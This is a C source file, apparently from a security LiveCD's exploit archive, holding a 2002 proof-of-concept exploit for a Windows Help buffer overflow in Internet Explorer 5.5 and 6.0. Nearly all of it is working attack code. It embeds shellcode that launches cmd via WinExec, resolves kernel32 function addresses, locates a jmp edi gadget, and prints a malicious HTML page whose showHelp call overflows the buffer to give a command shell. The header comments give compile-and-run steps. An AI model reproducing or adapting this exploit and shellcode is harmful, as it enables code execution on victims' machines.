home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / ex.c < prev    next >
Text File  |  2005-02-12  |  4KB  |  134 lines

  1. /*
  2. By ipxodi@whitecell.org 10.07.2002
  3.  
  4. prove of concept code of Windows Help buffer overflow.
  5. Bug discovered by 
  6. For tech detail see "Thor Larholm security advisory TL#004".
  7. To Use:
  8. cl ex.c
  9. Run as:
  10. ex > ex.htm
  11. start ex.htm    (be sure to set iexplore as your default htm viewer.)
  12. You will get a cmd shell.
  13.  
  14. Tested on IE 5.5, IE5.5 SP2, IE 6.0.
  15. other version untested.
  16. */
  17.  
  18. #include <windows.h>
  19. #include <stdio.h>
  20.  
  21.  
  22. char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8\x03" "\x80\x6D\xF8\x50" 
  23.         "\x8D\x45\xFC\x50\x90\xB8" "EXEC" "\xFF\xD0\x33\xC0\x50\x90\xB8" "EXIT" "\xFF\xD0\xC3";
  24.  
  25. char shellcode_encode[] = "\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8\x53" "\x80\x6D\xF8\x50" 
  26.         "\x8D\x45\xFC\x50\x90\xB8" "EXEC" "\x2C\x78" "\xFF\xD0" "\x41\x33\xC0\x50\x90\xB8""EXIT" "\x2C\x78" "\xFF\xD0\xC3";
  27.  
  28. void EncodeFuncAddr(char * shellcode,DWORD addr,char * pattern)
  29. {
  30.     unsigned char * p ;
  31.     p = strstr(shellcode,pattern);
  32.     if(p)    {
  33.         if( *(p+4) == '\xFF' )    
  34.             memcpy(p,&addr,4);
  35.         else {
  36.             if((addr & 0xFF) > 0x80)    {
  37.                 memcpy(p,&addr,4);    
  38.                 *(p+4) = 0x90;
  39.                 *(p+5) = 0x90;
  40.             }else    {
  41.                 addr += 0x78;
  42.                 memcpy(p,&addr,4);
  43.             }
  44.         }
  45.     }
  46. }
  47.  
  48. int ModifyFuncAddr(char * shellcode)
  49. {
  50.     char * temp="0123456789ABCDEF";
  51.     HMODULE hdl;
  52.     unsigned char * p ;
  53.     DWORD pAddr_WinExec ,pAddr_Exit ;
  54.  
  55.     hdl = LoadLibrary("kernel32.dll");
  56.     pAddr_WinExec = GetProcAddress(hdl,"WinExec");
  57.     pAddr_Exit = GetProcAddress(hdl,"ExitProcess"); 
  58.     fprintf(stderr,"Find WinExec at Address %x, ExitProcess at Address %x\n",pAddr_WinExec,pAddr_Exit);
  59.     EncodeFuncAddr(shellcode,pAddr_WinExec,"EXEC");
  60.     EncodeFuncAddr(shellcode,pAddr_Exit,"EXIT");
  61. }
  62.  
  63.  
  64. void Validate(char * shellcode)
  65. {
  66.     unsigned char *p, *foo = "\\\/:*?\"<>|";
  67.     for(;*foo;foo++)    {
  68.         p = strchr(shellcode,*foo);
  69.         if(p)    {
  70.             fprintf(stderr,"ERROR:ShellCode Contains Invalid Char For File name: %s\n",p);
  71.         }
  72.     }
  73. }
  74.  
  75. #define Valid(c)    (c>0x30)
  76. int FindCode(char * code)
  77. {
  78.     DWORD addr;
  79.     unsigned char * p = (unsigned char * )LoadLibrary("kernel32.dll");
  80.  
  81.     for(;p < 0x77f00000;p++)
  82.         if(memcmp(p,code,2)==0)    {
  83.             fprintf(stderr,"Find Code at Address %x\n",p);
  84.             addr = (DWORD) p;
  85.             if( (addr &0xFF )>0x30 && ((addr>>8)&0xFF)>0x30&& ((addr>>16)&0xFF)>0x30 && ((addr>>24)&0xFF)>0x30 )
  86.                 return p;
  87.         }
  88.     return 0;
  89. }
  90. int main(int argc, char ** argv)
  91. {
  92.     char * prefix = "<script type=\"text/javascript\">showHelp(\"";
  93.     char *postfix = "\");</script>";
  94.     char buff[1024];
  95.     int mode = 2;
  96.     char * pCode = buff, *shell;
  97.     DWORD addr;
  98.     int offset = 784;
  99.     
  100.     if(argc > 3 )    {
  101.         printf("Usage:   %s [mode] [offset]",argv[0]);
  102.         printf("Normal:  %s 1 784",argv[0]);
  103.         printf("Advanc:  %s 2 784",argv[0]);
  104.         exit(0);
  105.     }else if(argc == 3 )    {
  106.         offset = atoi(argv[2]);
  107.         mode = atoi(argv[1]);
  108.     };
  109.     fprintf(stderr,"Mode %d, Using Offset %d\n",mode,offset);
  110.     memset(buff,0x41,1023);
  111.     
  112.     memcpy(pCode, "A:\\\xC0",4);    //cmp al,al as a nop.
  113.     
  114.     switch(mode)    {
  115.         case 1: shell = shellcode; break;
  116.         case 2: shell = shellcode_encode;break;
  117.         case 3: {
  118.                 sprintf(buff +offset, "abcd");
  119.                 printf("%s%s%s",prefix,buff,postfix);
  120.                 return ;
  121.                 }
  122.     }
  123.     ModifyFuncAddr(shell);
  124.     Validate(shell);
  125.     memcpy(pCode+0x10,shell,strlen(shell));
  126.     pCode = buff + offset;
  127.     addr = FindCode("\xFF\xE7");    // jmp edi
  128.     *(int*)pCode = addr ? addr : 0x77e79d02;
  129.     *(pCode+4)=0;
  130.     printf("%s%s%s",prefix,buff,postfix);
  131. }
  132.     
  133.  
  134.